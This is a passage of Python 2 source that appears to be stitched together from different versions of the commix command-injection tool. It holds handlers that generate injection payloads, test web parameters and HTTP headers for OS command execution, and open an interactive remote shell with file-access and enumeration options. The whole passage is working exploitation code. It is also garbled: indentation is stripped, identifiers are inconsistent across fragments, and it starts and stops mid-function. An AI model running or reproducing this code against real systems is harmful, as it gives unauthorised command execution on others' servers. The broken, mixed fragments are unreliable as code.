# print ""
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
def do_check(url, filename):
classic_state = False
eval_based_state = False
time_based_state = False
file_based_state = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
# Check if authentication page is the same with the next (injection) URL
if urllib2.urlopen(url).read() == urllib2.urlopen(
menu.options.auth_url).read():
print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
sys.exit(0)
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET or POST.
header_name = ""
if not menu.options.data:
http_request_method = "GET"
if not settings.COOKIE_INJECTION \
and not settings.USER_AGENT_INJECTION \
and not settings.REFERER_INJECTION:
url = parameters.do_GET_check(url)
check_parameter = parameters.vuln_GET_param(url)
the_type = " parameter "
else:
http_request_method = "POST"
parameter = menu.options.data
parameter = parameters.do_POST_check(parameter)
check_parameter = parameters.vuln_POST_param(parameter, url)
the_type = " parameter "
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
settings.HTTP_HEADER = header_name[1:].lower()
check_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
the_type = " HTTP header "
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
settings.HTTP_HEADER = header_name[1:].replace("-", "").lower()
check_parameter = ""
the_type = " HTTP header "
# Referer Injection
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
settings.HTTP_HEADER = header_name[1:].lower()
check_parameter = ""
the_type = " HTTP header "
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check for session file
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE):
if not menu.options.tech:
menu.options.tech = session_handler.applied_techniques(
url, http_request_method)
if session_handler.check_stored_parameter(url,
http_request_method):
settings.LOAD_SESSION = True
if menu.options.flush_session:
session_handler.flush(url)
if len(check_parameter) != 0:
check_parameter = " '" + check_parameter + "'"
print settings.INFO_SIGN + "Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(
url, http_request_method, delay)
# Check if it is vulnerable to classic command injection technique.
if not menu.options.tech or "c" in menu.options.tech:
if cb_handler.exploitation(url, delay, filename,
http_request_method) != False:
classic_state = True
else:
classic_state = False
# Check if it is vulnerable to eval-based code injection technique.
if not menu.options.tech or "e" in menu.options.tech:
if eb_handler.exploitation(url, delay, filename,
http_request_method) != False:
eval_based_state = True
else:
eval_based_state = False
# Check if it is vulnerable to time-based blind command injection technique.
if not menu.options.tech or "t" in menu.options.tech:
if tb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
time_based_state = True
else:
time_based_state = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if not menu.options.tech or "f" in menu.options.tech:
if fb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
file_based_state = True
else:
file_based_state = False
if classic_state == eval_based_state == time_based_state == file_based_state == False:
info_msg = settings.CRITICAL_SIGN + "The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
if not menu.options.alter_shell:
info_msg += " Use the option '--alter-shell'"
else:
info_msg += " Remove the option '--alter-shell'"
info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
print Back.RED + info_msg + Style.RESET_ALL
sys.exit(0)
def tb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
print settings.print_info_msg(info_msg)
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
warn_msg = "The '--url-reload' option is not available in " + technique + "."
print settings.print_warning_msg(warn_msg)
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.TIME_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, timesec,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) +
"\n")
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(
((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])
) == 1:
if max(xrange(
len(how_long_statistic)
),
key=lambda x:
how_long_statistic[
x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(
settings.
print_question_msg(
question_msg))
proceed_option = sys.stdin.readline(
).replace("\n",
"").lower()
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower(
) in settings.CHOICE_PROCEED:
if proceed_option.lower(
) == "s":
false_positive_fixation = False
raise
elif proceed_option.lower(
) == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower(
) == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(
err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(1, 10)
randv2 = random.randrange(1, 10)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "expr " + str(
randv1) + " + " + str(
randv2) + ""
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd,
whitespace, prefix, suffix,
timesec, http_request_method,
url, vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(
randvcalc) and len(
TAG
) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(
float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter,
payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL > 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += ('', ' (JSON)')[
settings.IS_JSON] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell,
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response,
timesec,
original_how_long,
output_length,
is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
print ""
logs.print_logs_notification(filename, url)
sys.exit(0)
if not new_line:
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__',
''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
whitespace, timesec,
http_request_method,
url, vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd,
vuln_parameter)
print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, output)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded= False
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "classic injection technique"
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
if separator == " " :
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = cb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Evaluate test results.
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + float_percent +"%" + " ]")
sys.stdout.flush()
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", re.sub("%2B", "+",payload)) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
if not menu.options.verbose:
print ""
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
